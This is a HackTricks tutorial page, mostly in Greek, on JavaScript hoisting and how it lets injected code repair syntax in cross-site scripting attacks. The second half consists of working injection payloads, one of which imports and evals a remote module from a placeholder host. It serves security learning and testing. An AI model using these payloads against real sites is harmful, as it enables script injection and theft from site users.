JS Hoisting

Support HackTricks

Basic Information

Στη γλώσσα JavaScript, περιγράφεται ένας μηχανισμός γνωστός ως Hoisting, όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή εισαγωγών θεωρητικά ανυψώνονται στην κορυφή του πεδίου τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από τη μηχανή JavaScript, η οποία διασχίζει το σενάριο σε πολλαπλές περάσεις.

Κατά την πρώτη πέραση, η μηχανή αναλύει τον κώδικα για να ελέγξει για συντακτικά σφάλματα και τον μετατρέπει σε ένα αφηρημένο δέντρο συντακτικού. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του εκτελεστικού πλαισίου. Εάν η φάση ανάλυσης είναι επιτυχής, υποδεικνύοντας ότι δεν υπάρχουν συντακτικά σφάλματα, η εκτέλεση του σεναρίου προχωρά.

Είναι κρίσιμο να κατανοήσουμε ότι:

  1. Το σενάριο πρέπει να είναι ελεύθερο από συντακτικά σφάλματα για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.

  2. Η τοποθέτηση του κώδικα μέσα στο σενάριο επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.

Types of Hoisting

Βασισμένο στις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:

  1. Value Hoisting: Ενεργοποιεί τη χρήση της τιμής μιας μεταβλητής μέσα στο πεδίο της πριν από τη γραμμή δήλωσής της.

  2. Declaration Hoisting: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο πεδίο της πριν από τη δήλωσή της χωρίς να προκαλεί ReferenceError, αλλά η τιμή της μεταβλητής θα είναι undefined.

  3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο πεδίο του λόγω της δήλωσης της μεταβλητής πριν από τη γραμμή πραγματικής δήλωσής της.

  4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν από την αξιολόγηση του υπόλοιπου κώδικα που την περιέχει.

Λεπτομερώς, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά τύπου 1 hoisting. Η λέξη-κλειδί var δείχνει συμπεριφορά τύπου 2. Οι λεξικές δηλώσεις, οι οποίες περιλαμβάνουν let, const και class, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις import είναι μοναδικές καθώς ανυψώνονται με συμπεριφορές τύπου 1 και τύπου 4.

Scenarios

Επομένως, αν έχετε σενάρια όπου μπορείτε να Inject JS code after an undeclared object είναι δυνατόν να fix the syntax δηλώνοντάς το (έτσι ώστε ο κώδικάς σας να εκτελείται αντί να προκαλεί σφάλμα):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Περισσότερα Σενάρια

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Αναφορές

Υποστήριξη HackTricks

Last updated